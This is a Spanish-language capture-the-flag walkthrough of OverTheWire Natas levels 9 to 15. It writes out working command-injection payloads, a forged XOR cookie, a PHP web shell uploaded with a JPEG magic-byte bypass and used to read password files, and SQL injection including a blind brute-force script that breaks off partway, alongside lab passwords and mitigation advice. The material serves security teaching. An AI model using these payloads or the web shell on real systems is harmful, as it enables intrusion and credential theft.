<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas9", "pass": "UdxmI27dTaXmnd1rxKQTfws6jihTdcQ9" };</script></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
/etc/natas_webpass/natas10:EgjlkzB6E8LJyf2Obt4q7q4ewt5ZWSNv
dictionary.txt:
dictionary.txt:African
dictionary.txt:Africans
dictionary.txt:Allah
EgjlkzB6E8LJyf2Obt4q7q4ewt5ZWSNv
Se trata de una vulnerabilidad de Command Injection (inyección de comandos del sistema operativo). La aplicación web utiliza la función passthru() de PHP para ejecutar un comando del sistema (grep) concatenando directamente el input del usuario ($key) sin ningún tipo de input sanitization o escaping. Al no limpiar la entrada, un atacante puede insertar metacaracteres del shell (como espacios, punto y coma ;, pipes |, o redirecciones) para modificar la lógica del comando original o inyectar y ejecutar comandos adicionales en el sistema operativo con los privilegios del servidor web.
- No utilizar funciones que llamen directamente al sistema operativo (como
passthru,system,exec, oshell_exec). Para buscar palabras en un archivo en PHP, es mucho más seguro utilizar funciones nativas del lenguaje comofile(),fgets(), o expresiones regulares (preg_match()). - En caso de ser estrictamente necesario interactuar con el sistema operativo, se debe sanitizar el argumento utilizando funciones específicas que escapan los caracteres especiales del shell
escapeshellarg()oescapeshellcmd(). - Asegurar que el usuario que ejecuta el servidor web (como
www-data) tenga permisos estrictamente limitados en el sistema de archivos para mitigar el impacto en caso de una inyección exitosa.
Natas Level 9 → Level 10
Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.
curl http://natas10.natas.labs.overthewire.org/ --user natas10:EgjlkzB6E8LJyf2Obt4q7q4ewt5ZWSNv
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas10", "pass": "EgjlkzB6E8LJyf2Obt4q7q4ewt5ZWSNv" };</script></head>
<body>
<h1>natas10</h1>
<div id="content">
For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Vemos un sitio web con un formulario de búsqueda y un link al código fuente que maneja el backend.
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
El código fuente muestra que la función preg_match busca los caracteres ;, | y & en el texto buscado, si lo encuentra descarta el input. Utilizando el mismo input del nivel anterior obtenemos el password para el próximo nivel.
curl -s -G --data-urlencode 'needle="" /etc/natas_webpass/natas11' -d "submit=Search" 'http://natas10.natas.labs.overthewire.org/' --user natas10:EgjlkzB6E8LJyf2Obt4q7q4ewt5ZWSNv | head -n 30
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas10", "pass": "EgjlkzB6E8LJyf2Obt4q7q4ewt5ZWSNv" };</script></head>
<body>
<h1>natas10</h1>
<div id="content">
For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<br />
<b>Warning</b>: preg_match(): Allocation of JIT memory failed, PCRE JIT will be disabled. This is likely caused by security restrictions. Either grant PHP permission to allocate executable memory, or set pcre.jit=0 in <b>/var/www/natas/natas10/index.php</b> on line <b>31</b><br />
/etc/natas_webpass/natas11:VUMQDmuITOEHzhviLE5V0VG9cPMQkyxd
dictionary.txt:
dictionary.txt:African
dictionary.txt:Africans
dictionary.txt:Allah
dictionary.txt:Allah's
VUMQDmuITOEHzhviLE5V0VG9cPMQkyxd
El desarrollador intentó mitigar el fallo del nivel anterior validando el input con una blacklist basada en una expresión regular (preg_match('/[;|&]/', $key)). Sin embargo, el control es insuficiente porque solo bloquea metacaracteres específicos de encadenamiento de comandos, pero no impide que el atacante pase múltiples argumentos nativos al propio binario del sistema operativo (en este caso, inyectando un archivo adicional /etc/natas_webpass/natas11 como segundo argumento para el comando grep).
- Evitar por completo el uso de
passthru(). Reemplazar la ejecución en consola por lógica nativa en PHP (como leer el archivodictionary.txtconfile()y buscar la coincidencia usandopreg_match()). - En lugar de buscar qué caracteres no permitir, validar que la entrada contenga únicamente caracteres permitidos (por ejemplo, permitir estrictamente caracteres alfanuméricos usando
^[\w]+$). - Si es obligatorio usar comandos de consola, se debe aplicar
escapeshellarg()al parámetro$key. Esto encapsula el input entre comillas simples y neutraliza cualquier intento de pasar argumentos extra a grep, forzando al sistema a tratar toda la entrada como una cadena de texto de búsqueda literal.
Natas Level 10 → Level 11
Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.
curl http://natas11.natas.labs.overthewire.org/ --user natas11:VUMQDmuITOEHzhviLE5V0VG9cPMQkyxd
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas11", "pass": "VUMQDmuITOEHzhviLE5V0VG9cPMQkyxd" };</script></head>
<h1>natas11</h1>
<div id="content">
<body style="background: #ffffff;">
Cookies are protected with XOR encryption<br/><br/>
<form>
Background color: <input name=bgcolor value="#ffffff">
<input type=submit value="Set color">
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
La web permite cambiar el color de fondo e indica que las cookies están protegidas con un encriptado con XOR, también tiene un link al código fuente que corre en el back.
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
saveData($data);
?>
<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>
<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}
?>
Desde PHP en modo interactivo
php -a
Guardamos en una variable la cookie data que obtenemos del navegador
php > $cookie = "EGAgHwQ1IxYYMSQYGSZxTUksPFVHYDEQCC0%2FGBlgaVVIIzcVDyE3VRY%3D";
Decodificamos la cookie
php > $cookie = urldecode("EGAgHwQ1IxYYMSQYGSZxTUksPFVHYDEQCC0%2FGBlgaVVIIzcVDyE3VRY%3D");
Guardamos en la variable $plaintext el texto plano que corresponde a la cookie convirtiendolo al formato json
php > $plaintext = json_encode(["showpassword" => "no", "bgcolor" => "#ffffff"]);
Guardamos el texto cifrado en la variable $ciphertext
php > $ciphertext = base64_decode($cookie);
Creamos una variable para guardar la key
php > $key = "";
Ejecutamos un XOR y dadas sus propiedades obtenemos la key al observar el patrón que se repite
php > for ($i = 0; $i < strlen($plaintext); $i++) {$key .= $ciphertext[$i] ^ $plaintext[$i];}
php > echo $key;
kBSwkBSwkBSwkBSwkBSwkBSwkBSwkBSwkEQsiGQwk
Utilizamos la key en la función xor_encrypt
php > function xor_encrypt($in) {
$key = "kBSw";
$out = "";
for ($i = 0; $i < strlen($in); $i++) {
$out .= $in[$i] ^ $key[$i % strlen($key)];
}
return $out;
}
Verificamos que la key es correcta si obtenemos el texto plano
php > echo xor_encrypt(base64_decode($cookie));
{"showpassword":"no","bgcolor":"#adbdcd"}
Creamos un array con la key showpassword y el value yes para obtener el password
php > $data = ["showpassword" => "yes", "bgcolor" => "#adbdcd"];
Convertimos a json el array, lo ciframos con XOR y codificamos en base64 para reemplazar la cookie
php > echo base64_encode(xor_encrypt(json_encode($data)));
EGAgHwQ1IxYYMSQYGSZxTUk7NgRJbnEVDCE8GwQwcU1JYTITCSYwE0k/
Enviamos la cookie y obtenemos el password
curl --cookie "data=EGAgHwQ1IxYYMSQYGSZxTUk7NgRJbnEVDCE8GwQwcU1JYTITCSYwE0k/" http://natas11.natas.labs.overthewire.org/ --user natas11:VUMQDmuITOEHzhviLE5V0VG9cPMQkyxd
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas11", "pass": "VUMQDmuITOEHzhviLE5V0VG9cPMQkyxd" };</script></head>
<br />
<b>Warning</b>: preg_match(): Allocation of JIT memory failed, PCRE JIT will be disabled. This is likely caused by security restrictions. Either grant PHP permission to allocate executable memory, or set pcre.jit=0 in <b>/var/www/natas/natas11/index.php</b> on line <b>34</b><br />
<h1>natas11</h1>
<div id="content">
<body style="background: #adbdcd;">
Cookies are protected with XOR encryption<br/><br/>
The password for natas12 is EAGkE8uzFTxeoTT2mMst9Xy7PX6guEng<br>
<form>
Background color: <input name=bgcolor value="#adbdcd">
<input type=submit value="Set color">
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
EAGkE8uzFTxeoTT2mMst9Xy7PX6guEng
Se trata de una vulnerabilidad de Cryptographic Flaw (fallo criptográfico) combinada con Insufficiently Protected Credentials. El servidor confía ciegamente en el contenido de una cookie enviada por el usuario para controlar los privilegios de sesión (showpassword). Para protegerla de modificaciones, utiliza un cifrado XOR con clave repetitiva (XOR Cipher), que es una forma de Weak Cryptography. Debido a las propiedades matemáticas de la operación XOR, conocer tanto un bloque de texto plano como su equivalente cifrado permite deducir la clave secreta fácilmente (Known-Plaintext Attack o KPA). Una vez obtenida la clave, el atacante tiene la capacidad de forjar cookies válidas con privilegios elevados (Privilege Escalation).
- La operación XOR simple no provee integridad. Se debe evitar diseñar protocolos de cifrado propios.
- La mejor práctica consiste en almacenar los datos sensibles (como los privilegios de usuario o el estado de autenticación) del lado del servidor, dejando en la cookie únicamente un identificador de sesión único, aleatorio y de alta entropía.
- En caso de requerir almacenar datos del lado del cliente, se deben usar estándares seguros con firmas criptográficas no manipulables, tales como HMAC (Hash-based Message Authentication Code) o JSON Web Tokens (JWT) firmados con algoritmos fuertes (como HS256 o RS256), manteniendo la clave de firma estrictamente resguardada en el servidor.
Natas Level 11 → Level 12
Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.
curl http://natas12.natas.labs.overthewire.org/ --user natas12:EAGkE8uzFTxeoTT2mMst9Xy7PX6guEng
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas12", "pass": "EAGkE8uzFTxeoTT2mMst9Xy7PX6guEng" };</script></head>
<body>
<h1>natas12</h1>
<div id="content">
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="sifbzc1b47.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
La web permite subir una imagen y tiene un link para ver el código fuente.
<?php
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>
La web permite subir imágenes con un tamaño máximo. Subimos una webshell shell.php para ejecutar comandos.
<?php system($_GET['cmd']);?>
curl -F "MAX_FILE_SIZE=1000" -F "filename=shell.php" -F "uploadedfile=@shell.php;type=image/jpeg" --user natas12:EAGkE8uzFTxeoTT2mMst9Xy7PX6guEng http://natas12.natas.labs.overthewire.org/
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas12", "pass": "EAGkE8uzFTxeoTT2mMst9Xy7PX6guEng" };</script></head>
<body>
<h1>natas12</h1>
<div id="content">
The file <a href="upload/jmhyarkw7p.php">upload/jmhyarkw7p.php</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Probamos obtener el password para el próximo nivel
curl -s --user natas12:EAGkE8uzFTxeoTT2mMst9Xy7PX6guEng -G --data-urlencode "cmd=cat /etc/natas_webpass/natas13" http://natas12.natas.labs.overthewire.org/upload/jmhyarkw7p.php
g8ba0olAzaSJuyS4gnmbdVVigAICLG1k
g8ba0olAzaSJuyS4gnmbdVVigAICLG1k
Se trata de una vulnerabilidad de Unrestricted File Upload (subida de archivos no restringida) que resulta en Remote Code Execution (RCE) (ejecución remota de código). El fallo principal radica en que el servidor web confía en un parámetro manipulable del lado del cliente ($_POST["filename"]) para determinar la extensión final del archivo subido en lugar de validar y forzar la extensión desde el backend. Al cambiar este parámetro a .php, un atacante puede subir un script malicioso en PHP (Webshell) en vez de la imagen esperada y luego solicitarlo directamente vía HTTP para ejecutar comandos arbitrarios en el sistema operativo del servidor.
- El servidor debe ignorar el nombre y la extensión provistos por el cliente. La extensión del archivo debe ser generada estrictamente en el backend basándose en el tipo de archivo permitido por el negocio (por ejemplo, forzar siempre la extensión a
.jpgo.png). - Utilizar funciones robustas en el backend para validar que el contenido del archivo subido coincida con el tipo permitido (por ejemplo, a través de la extensión
fileinfode PHP o leyendo las firmas de bytes mágicos del archivo). - Configurar el servidor web para que no interprete scripts (como PHP) dentro del directorio de destino (ej.
/upload). - Guardar los archivos subidos en una carpeta inaccesible directamente por URL pública y servirlos de forma indirecta mediante un script intermedio que lea y devuelva el flujo de bytes.
Natas Level 12 → Level 13
Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.
curl http://natas13.natas.labs.overthewire.org/ --user natas13:g8ba0olAzaSJuyS4gnmbdVVigAICLG1k
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas13", "pass": "g8ba0olAzaSJuyS4gnmbdVVigAICLG1k" };</script></head>
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="kpfi5z9ft9.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
printf '\xFF\xD8\xFF\xE0' | dd of=shell.php bs=1 count=4 conv=notrunc
4+0 records in
4+0 records out
4 bytes copied, 6.2643e-05 s, 63.9 kB/s
xxd shell.php
00000000: ffd8 ffe0 3c3f 7068 7020 7379 7374 656d ....<?php system
00000010: 2824 5f47 4554 5b22 636d 6422 5d29 3b20 ($_GET["cmd"]);
00000020: 3f3e 0a ?>.
curl -F "MAX_FILE_SIZE=1000" -F "filename=shell.php" -F "uploadedfile=@shell.php;type=image/jpeg" --user natas13:g8ba0olAzaSJuyS4gnmbdVVigAICLG1k http://natas13.natas.labs.overthewire.org/
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas13", "pass": "g8ba0olAzaSJuyS4gnmbdVVigAICLG1k" };</script></head>
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>
The file <a href="upload/362mgbg49g.php">upload/362mgbg49g.php</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
curl -s -G --user natas13:g8ba0olAzaSJuyS4gnmbdVVigAICLG1k --data-urlencode "cmd=cat /etc/natas_webpass/natas14" http://natas13.natas.labs.overthewire.org/upload/362mgbg49g.php
����A0xXu2x9FW8rb8OSQ4ei6n5VBbLUz8h8
A0xXu2x9FW8rb8OSQ4ei6n5VBbLUz8h8
Unrestricted File Upload que deriva en Remote Code Execution (RCE), combinado con un Bypass of File Type Validation using Magic Bytes. El desarrollador intentó mejorar la seguridad validando el tipo de archivo mediante su contenido real en lugar de confiar solo en la extensión. Sin embargo, la validación implementada es débil porque solo comprueba los primeros bytes del archivo (las firmas o Magic Bytes que identifican a un JPEG) para determinar si es una imagen válida. Al anteponer estos bytes a una estructura de código PHP válida, la aplicación aprueba la subida y el servidor web ejecuta el código malicioso cuando se solicita el archivo .php.
- Funciones como
exif_imagetype()o la revisión de cabeceras son fáciles de evadir. Se deben complementar con un procesamiento real del archivo (por ejemplo, intentar re-renderizar o recrear la imagen usando la librería GD de PHP conimagecreatefromjpeg(), lo cual destruye cualquier código PHP embebido). - El backend debe generar e imponer su propia extensión permitida (como
.jpg) basándose estrictamente en el tipo de archivo validado, descartando por completo extensiones peligrosas suministradas por el usuario (como.php). - Bloquear la interpretación de código de scripts en el directorio de subidas (por ejemplo, con php_flag engine off en Apache o bloqueando la ejecución en Nginx) para asegurar que el archivo se sirva estrictamente como un recurso estático (descarga o visualización de imagen), sin importar su extensión.
Natas Level 13 → Level 14
Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.
curl http://natas14.natas.labs.overthewire.org/ --user natas14:A0xXu2x9FW8rb8OSQ4ei6n5VBbLUz8h8
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas14", "pass": "A0xXu2x9FW8rb8OSQ4ei6n5VBbLUz8h8" };</script></head>
<body>
<h1>natas14</h1>
<div id="content">
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
<?php
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas14', '<censored>');
mysqli_select_db($link, 'natas14');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysqli_close($link);
}
curl -X POST -d 'username=melvin" or 1=1-- -' -d 'password=melvin' http://natas14.natas.labs.overthewire.org/ --user natas14:A0xXu2x9FW8rb8OSQ4ei6n5VBbLUz8h8
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas14", "pass": "A0xXu2x9FW8rb8OSQ4ei6n5VBbLUz8h8" };</script></head>
<body>
<h1>natas14</h1>
<div id="content">
Successful login! The password for natas15 is GB6USCJYJjwLyYhZUNkE1NwDueiTow6g<br><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
GB6USCJYJjwLyYhZUNkE1NwDueiTow6g
Se trata de una vulnerabilidad de SQL Injection (SQLi) (inyección SQL). El fallo ocurre porque la aplicación web construye la consulta SQL concatenando directamente las entradas del usuario ($_REQUEST["username"] y $_REQUEST["password"]) de forma dinámica en el string de la query. Al no aplicar ningún tipo de input sanitization ni utilizar consultas parametrizadas, el intérprete de la base de datos confunde los datos provistos por el usuario con código de comando SQL. Esto permite a un atacante alterar la lógica booleana de la consulta original para forzar al sistema a devolver filas válidas, logrando un Authentication Bypass (evasión de autenticación).
- Utilizar Prepared Statements (Consultas Parametrizadas): Al usar Prepared Statements (con librerías como PDO o funciones nativas preparadas en mysqli), la estructura de la consulta SQL se precompila en la base de datos y los parámetros del usuario se tratan estrictamente como literales de datos, neutralizando cualquier intento de inyección de código.
// Ejemplo de mitigación correcta:
$stmt = $link->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();- Si por motivos heredados no se pueden usar consultas preparadas, se debe pasar obligatoriamente cada variable por funciones que escapan los caracteres especiales de SQL, como
mysqli_real_escape_string(), antes de concatenarla. - Configurar la cuenta de conexión del servidor web a la base de datos para que solo posea los permisos mínimos necesarios (por ejemplo, solo SELECT en la tabla users), limitando el impacto en caso de sufrir otra inyección.
Natas Level 14 → Level 15
Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.
curl http://natas15.natas.labs.overthewire.org/ --user natas15:GB6USCJYJjwLyYhZUNkE1NwDueiTow6g
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas15", "pass": "GB6USCJYJjwLyYhZUNkE1NwDueiTow6g" };</script></head>
<body>
<h1>natas15</h1>
<div id="content">
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
<?php
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas15', '<censored>');
mysqli_select_db($link, 'natas15');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysqli_close($link);
}
pass_length.py
import requests
from requests.auth import HTTPBasicAuth
url = "http://natas15.natas.labs.overthewire.org/"
auth = HTTPBasicAuth("natas15", "GB6USCJYJjwLyYhZUNkE1NwDueiTow6g")
payload = {
"username": 'natas16" AND LENGTH(password)=32 #'
}
r = requests.get(url, params=payload, auth=auth)
if "This user exists" in r.text:
print("True")
else:
print("False")
python3 pass_length.py
True
sqli.py
from concurrent.futures import ThreadPoolExecutor, as_completed
from pwn import *
import requests
import string
URL = "http://natas15.natas.labs.overthewire.org/"
AUTH = ("natas15", "GB6USCJYJjwLyYhZUNkE1NwDueiTow6g")
CHARSET = string.ascii_letters + string.digits
password = ["?"] * 32
session = requests.Session()
session.auth = AUTH
p = log.progress("Password")
def find_char(pos):
for c in CHARSET:
payload = {
"username": f'natas16" AND BINARY SUBSTRING(password,{pos},1)="{c}" #'
}
r = session.get(URL, params=payload)
if "This user exists." in r.text:
return pos, c
